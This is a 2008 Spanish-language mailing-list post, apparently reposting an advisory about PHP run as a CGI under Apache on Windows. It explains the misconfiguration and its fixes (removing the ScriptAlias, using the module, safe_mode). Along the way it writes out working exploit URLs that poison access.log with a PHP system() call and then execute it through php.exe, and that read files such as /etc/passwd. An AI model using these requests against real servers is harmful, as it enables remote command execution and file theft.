[Ubuntu-ni] debilidad reportada en PHP pero en guin2
yury zapata
ya2533137 en gmail.com
Mar Oct 21 22:51:01 BST 2008
http://markmail.org/message/ywyzdx3nvkkmfnlo#query:debilidad%20de%20apache+page:1+mid:ywyzdx3nvkkmfnlo+state:results
la *debilidad* reportada en PHP es un problema relacionado con la forma
típica en la cual PHP es instalado en Windows.... es una *debilidad* típica
*de* los programas CGI (tanto en Unix/Linux como en Windows)... y es
particularmente compleja debido a que Windows no cuenta con el usuario
"nobody " que tiene Unix/Linux para evitar la ejecución *de* programas...
OJO : este error ocurre en cualquier versión *de* PHP y *de* *Apache* en
Windows !!
Cuando se crea un login/shell a "nobody" es posible que un "hueco
*de*seguridad" similar se defina para tu sistema Unix/Linux !!
_____________________________________________________________
1 - PHP permite acceso total a sistemas críticos
_____________________________________________________________
Son vulnerables la versión PHP 4.0 con *Apache* Server versión 2.0.
correción... esto no es cierto !!... es vulnerable cualquier versión
*de*PHP (naturalmente he revisado 4.0.5, 4.0.6, 4.0.8-devel, y 4.1.1)
con
cualquier versión *de* *Apache* sobre Windows (incluyendo a *Apache* 1.3.x)
!!... la vulnerabilidad se debe a la forma como se instala PHP en Windows !!
normalmente no es vulnerable una instalación *de* PHP usando Personal Web
Server o Internet Information Server... debido a que típicamente usa un
módulo SAPI o usa un "definición *de* extensión *de* archivo" y no un CGI *
de* PHP
El exploit se produce ejecutando en el navegador una línea HTML como esta:
http://www.dominio.com/<?%20system('comando a ejecutar');%20?>
todas las peticiones (incluyendo las peticiones GET como esta), se anexan al
archivo "access.log"...
aqui se agrega una linea con el comando php al access.log... <%
system('comando'); ?>
Desde allí puede ser leída por el atacante por medio *de* una línea como la
siguiente: http://www.dominio.com/php/php.exe?c:\*apache*\logs\access.log
debido a que en *Apache*/Windows, lo nomal es tener un CGI aparte para
configurar el PHP... es posible ejecutar el PHP desde una petición GET
http://www.dominio.com/php/php.exe
... solamente hay que especificar el archivo que desean "ver" o
"ejecutar"...
== Ejemplos *de* acceso a archivos...
desea ver un archivo *de* su equipo ??... por ejemplo, el autoexec.bat...
use... http://www.dominio.com/php/php.exe?c:\autoexec.bat
desea ejecutar un comando ??... guarde el comando en un archivo
cualquiera... para el caso, el más fácil, el access.log...
http://www.dominio.com/<?%20phpinfo();%20?> y...
http://www.dominio.com/php/php.exe?c:\*apache*\logs\access.log
== Cual es el problema ??...
el problema se debe a la configuración del *Apache*... cuando se configura
el *apache* como un CGI, debe definirse en *apache* un "alias" para el
programa php.exe... haciéndo que ese programa sea accesible desde una
petición GET !!
por ejemplo...
# crea el alias /php/... puede usarse desde una petición GET ScriptAlias
/php3/ "C:/php/" ScriptAlias /php/ "C:/php/"
# define las extensiones *de* los archivos AddType application/x-httpd-php3
.phtml AddType application/x-httpd-php3 .php3 AddType
application/x-httpd-php3 .php AddType application/x-httpd-php3-source .phps
# define que programa ejecutar cuando se tiene esas extensiones # note que
se usa el alias Action application/x-httpd-php3 /php/php.exe
== por que no pasa en Unix /Linux ??...
no pasa en Unix/linux por dos razones...
- la primera, normalmente PHP se ejecuta como un "módulo" del *apache*... no
como un CGI... eso hace que el programa no sea ejecutable desde una petición
GET...
- la segunda, el "nobody"... ahora, aunque tu Unix/linux use un CGI... el
hecho que *Apache* sea ejecutado por el usuario "nobody" hace que PHP no
pueda ejecutar aplicaciones Unix... lo cual elimina la posibilidad
*de*ejecutar comandos peligrosos o tenga acceso a archivos a los
cuales no tiene
permiso... si se modifica la configuración del "nobody" (su shell) por
ejemplo.... puede ser posible que se pueda ejecutar o visualizar un archivo
*de* tu máquina...
por ejemplo... /etc/passwd http://www.dominio.com/php/php.exe?/etc/passwd
El acceso a estos archivos puede evitarse con el esquema *de*
seguridad *de*los archivos en Linux... para evitar el problema
*de* ejecución *de* programas indeseados, recuerde utilizar el "safe_mode" *
de* PHP, y definir el "safe_mode_exec_dir" !!
== como se puede solucionar ??
para evitar el acceso a PHP desde una petición GET, debe eliminarse el
"ScriptAlias" *de* la configuración del PHP... lo cual solo puede hacerse si
se usa un módulo *de* *apache* (o del servidor web que estas usando)... Este
mismo problema puede pasar cuando usas un alias para "perl" y no usas
"mod_perl" en tu *apache* !!
si deseas usar el módulo *de* *apache*, debes cambiar la configuración del *
Apache*
LoadModule php4_module c:/php/sapi/php4apache.dll AddType
application/x-httpd-php .php
si no tienes forma *de* instalar un módulo *de* *Apache*, puedes usar
"personal web server" o "internet information server"... claro está, sin
definir un directorio ejecutable con "php.exe" !!
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: https://lists.ubuntu.com/archives/ubuntu-ni/attachments/20081021/b2c3977b/attachment.htm
Más información sobre la lista de distribución Ubuntu-ni